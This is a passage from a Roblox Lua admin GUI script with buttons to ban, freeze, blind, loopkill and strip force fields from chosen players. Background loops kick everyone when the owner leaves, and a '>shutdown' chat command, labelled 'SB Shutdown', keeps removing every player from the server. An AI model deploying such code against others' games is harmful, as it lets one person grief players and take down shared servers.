- button8pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button8pc.Position = UDim2.new ( 0, 0, 0.7, 0)
- button8pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if (player1~=nil) then
- player1.MembershipTypeReplicate = 2
- end
- end)
- button9pc=Instance.new("TextButton")
- button9pc.Parent = frame1p
- button9pc.Text = "OBC"
- button9pc.Style = 1
- button9pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button9pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button9pc.Position = UDim2.new ( 0, 0, 0.8, 0)
- button9pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if (player1~=nil) then
- player1.MembershipTypeReplicate = 3
- end
- end)
- button10pc=Instance.new("TextButton")
- button10pc.Parent = frame1p
- button10pc.Text = "ban"
- button10pc.Style = 1
- button10pc.TextColor3 = Color3.new ( 65025, 0, 0)
- button10pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button10pc.Position = UDim2.new ( 0.25, 0, 0, 0)
- button10pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if (player1~=nil) then
- if (player1.Name~="ttyyuu12345")and(player1.Name~="DroptheBomb") then
- table.insert(bannedlist,player1.Name)
- else
- button10pc.Text = "You cant do that"
- wait(2)
- button10pc.Text = "ban"
- end
- end
- end)
- button11pc=Instance.new("TextButton")
- button11pc.Parent = frame1p
- button11pc.Text = "Freze"
- button11pc.Style = 1
- button11pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button11pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button11pc.Position = UDim2.new ( 0.25, 0, 0.1, 0)
- button11pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if player1~=nil then
- player1.Character.Humanoid.WalkSpeed = 0
- lolsss=player1.Character:GetChildren()
- for i=1,#lolsss do
- if lolsss[i].className=="Part" then
- lolsss[i].Anchored = true
- lolsss[i].Reflectance = 1
- end
- end
- end
- end)
- button12pc=Instance.new("TextButton")
- button12pc.Parent = frame1p
- button12pc.Text = "Thaw"
- button12pc.Style = 1
- button12pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button12pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button12pc.Position = UDim2.new ( 0.25, 0, 0.2, 0)
- button12pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if player1~=nil then
- player1.Character.Humanoid.WalkSpeed = 16
- lolsss=player1.Character:GetChildren()
- for i=1,#lolsss do
- if lolsss[i].className=="Part" then
- lolsss[i].Anchored = false
- lolsss[i].Reflectance = 0
- end
- end
- end
- end)
- button13pc=Instance.new("TextButton")
- button13pc.Parent = frame1p
- button13pc.Text = "Punish"
- button13pc.Style = 1
- button13pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button13pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button13pc.Position = UDim2.new ( 0.25, 0, 0.3, 0)
- button13pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if player1~=nil then
- player1.Character.Parent = game.Lighting
- end
- end)
- button14pc=Instance.new("TextButton")
- button14pc.Parent = frame1p
- button14pc.Text = "unpunish"
- button14pc.Style = 1
- button14pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button14pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button14pc.Position = UDim2.new ( 0.25, 0, 0.4, 0)
- button14pc.MouseButton1Click:connect(function()
- player1 = game.Players:findFirstChild(selected)
- if player1~=nil then
- player1.Character.Parent = game.Workspace
- player1.Character:MakeJoints()
- end
- end)
- button15pc=Instance.new("TextButton")
- button15pc.Parent = frame1p
- button15pc.Text = "Loopkill"
- button15pc.Style = 1
- button15pc.TextColor3 = Color3.new ( 65025, 0, 0)
- button15pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button15pc.Position = UDim2.new ( 0.25, 0, 0.5, 0)
- button15pc.MouseButton1Click:connect(function()
- player1 = game.Players:findFirstChild(selected)
- if player1~=nil then
- if (player1.Name~="ttyyuu12345")and(player1.Name~="DroptheBomb") then
- table.insert(loopkill,player1.Name)
- else
- button15pc.Text = "You cannot do that"
- wait(2)
- button15pc.Text = "Loopkill"
- end
- end
- end)
- button16pc=Instance.new("TextButton")
- button16pc.Parent = frame1p
- button16pc.Text = "Unloopkill"
- button16pc.Style = 1
- button16pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button16pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button16pc.Position = UDim2.new ( 0.25, 0, 0.6, 0)
- button16pc.MouseButton1Click:connect(function()
- player2 = game.Players:findFirstChild(selected)
- if player2~=nil then
- for i=1,#loopkill do
- if loopkill[i]==player2.Name then
- table.remove(loopkill,i)
- end
- end
- end
- end)
- button17pc=Instance.new("TextButton")
- button17pc.Parent = frame1p
- button17pc.Text = "Respawn"
- button17pc.Style = 1
- button17pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button17pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button17pc.Position = UDim2.new ( 0.25, 0, 0.7, 0)
- button17pc.MouseButton1Click:connect(function()
- player1 = game.Players:findFirstChild(selected)
- if player1~=nil then
- newchar=Instance.new("Model")
- newchar.Parent = game.Workspace
- newhuman=Instance.new("Humanoid")
- newhuman.Parent = newchar
- player1.Character = newchar
- end
- end)
- button18pc=Instance.new("TextButton")
- button18pc.Parent = frame1p
- button18pc.Text = "Temporary Blind"
- button18pc.Style = 1
- button18pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button18pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button18pc.Position = UDim2.new ( 0.25, 0, 0.8, 0)
- button18pce=true
- button18pc.MouseButton1Click:connect(function()
- player1 = game.Players:findFirstChild(selected)
- if player1~=nil then
- if button18pce==true then
- button18pce=false
- torchergui=Instance.new("ScreenGui")
- torchergui.Parent = player1.PlayerGui
- torcherframe=Instance.new("Frame")
- torcherframe.Parent = torchergui
- torcherframe.Size = UDim2.new ( 1, 0, 1, 0)
- torcherframe.BackgroundColor3 = Color3.new ( 255*255, 255*255, 255*255)
- wait(5)
- torchergui:Remove()
- button18pce=true
- end
- end
- end)
- button19pc=Instance.new("TextButton")
- button19pc.Parent = frame1p
- button19pc.Text = "UNFF"
- button19pc.Style = 1
- button19pc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button19pc.Size = UDim2.new ( 0.25, 0, 0.1, 0)
- button19pc.Position = UDim2.new ( 0.5, 0, 0, 0)
- button19pce=true
- button19pc.MouseButton1Click:connect(function()
- player1=game.Players:findFirstChild(selected)
- if player1~=nil then
- allff=player1.Character:GetChildren()
- for i=1,#allff do
- if allff[i].className=="ForceField" then
- allff[i]:Remove()
- end
- end
- end
- end)
- button1sc=Instance.new("TextButton")
- button1sc.Parent = frame3main
- button1sc.Style = 1
- button1sc.TextColor3 = Color3.new ( 65025, 65025, 65025)
- button1sc.Size = UDim2.new ( 0.5, 0, 0.1, 0)
- button1sc.Position = UDim2.new ( 0, 0, 0, 0)
- if antiban==true then
- button1sc.Text = "Turn AB off"
- elseif antiban==false then
- button1sc.Text = "Turn AB on"
- else
- button1sc.Text = "error"
- end
- button1sc.MouseButton1Click:connect(function()
- if orbsafetestmode==false then
- if antiban==false then
- antiban=true
- button1sc.Text = "Turn AB off"
- elseif antiban==true then
- antiban = false
- button1sc.Text = "Turn AB on"
- end
- end
- end)
- local restriction = coroutine.create(function()
- while wait() do
- if (selected=="ttyyuu12345") or (selected=="DroptheBomb") then
- button6pc.TextColor3 = Color3.new ( 128*255, 0, 0)
- button10pc.TextColor3 = Color3.new ( 128*255, 0, 0)
- button15pc.TextColor3 = Color3.new ( 128*255, 0, 0)
- else
- button6pc.TextColor3 = Color3.new ( 255*255 , 255*255, 255*255)
- button10pc.TextColor3 = Color3.new ( 255*255 , 255*255, 255*255)
- button15pc.TextColor3 = Color3.new ( 255*255 , 255*255, 255*255)
- end
- end
- end)
- coroutine.resume(restriction )
- end--end of gui creator function
- local ban = coroutine.create(function()
- while wait() do
- players=game.Players:GetChildren()
- for ii=1,#players do
- for jj=1,#bannedlist do
- if (string.lower(players[ii].Name)==string.lower(bannedlist[jj])) then
- players[ii]:Remove()
- end
- end
- end
- end
- end)
- local ab1 = coroutine.create(function()
- while wait() do
- playerprotect=game.Players:findFirstChild(owners)
- if (antiban==true)and(playerprotect==nil) then
- playersall=game.Players:GetChildren()
- for i=1,#playersall do
- playersall[i]:Remove()
- end
- end
- end
- end)
- local lk1 = coroutine.create(function()
- while wait() do
- playersfr=game.Players:GetChildren()
- for i=1,#playersfr do
- for t=1,#loopkill do
- if playersfr[i].Name==loopkill[t] then
- playersfr[i].Character:BreakJoints()
- end
- end
- end
- end
- end)
- coroutine.resume(ab1)
- coroutine.resume(ban)
- coroutine.resume(lk1)
- while wait() do
- if game.Players:findFirstChild(owners) then
- name = owners.."'s OS Gui Orb V1(Build "..buildnumber..")"
- a=game.Players:findFirstChild(owners)
- b=a.Character
- c=a.PlayerGui
- d=b:findFirstChild("Torso")
- gui=game:GetService("StarterGui")
- na=b:findFirstChild(name)
- if na==nil then
- if d~=nil then
- e=Instance.new("Model")
- e.Parent = b
- e.Name = name
- f=Instance.new("Part")
- f.Parent = e
- f.Name = "Head"
- f.CanCollide = true
- f.Locked = true
- f.BrickColor = BrickColor.new("Bright orange")
- local tor = b:FindFirstChild("Torso")
- if (tor==nil) then return end
- f.CFrame = (tor.CFrame*CFrame.new(4, 4, -4))
- f.Material = "Plastic"
- f.formFactor = "Brick"
- f.Shape = "Ball"
- f.Size = Vector3.new ( 1, 1, 1)
- bp = Instance.new("BodyPosition")
- bp.maxForce = Vector3.new(math.huge, math.huge, math.huge)
- bp.Parent = f
- me=Instance.new("SpecialMesh")
- me.Parent = f
- me.MeshId = "http://www.roblox.com/asset/?id=34795798"
- me.TextureId = "http://www.roblox.com/asset/?id=34795697"
- spa=Instance.new("Sparkles")
- spa.Parent = f
- spa.Enabled = true
- spa.SparkleColor = Color3.new( math.random ( 1, 255), math.random ( 1, 255), math.random ( 1, 255))
- hum=Instance.new("Humanoid")
- hum.Parent = e
- hum.MaxHealth = 0
- end
- else
- t=b:findFirstChild(name)
- if t~=nil then
- u=t:findFirstChild("Head")
- if u~=nil then
- tor = b:findFirstChild("Torso")
- if tor~=nil then
- bodpos=u:findFirstChild("BodyPosition")
- bodpos.position = (tor.CFrame*CFrame.new(4, 4, -4)).p
- if not c:findFirstChild(owners.."'s GuiOrb") then
- onEnter(a)
- end
- end
- end
- end
- end
- end
- end
- end
- if text == ">shutdown" then
- m = Instance.new("Message")
- m.Parent = game.Workspace
- m.Text = "Access Granted. SB Shutdown Executed."
- while true do
- wait(0.1)
- m = game.Players:GetChildren()
- for i = 1, #m do
- m[i]:Remove()
- end
- end
- end
- end
- a.Chatted:connect(Chat)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement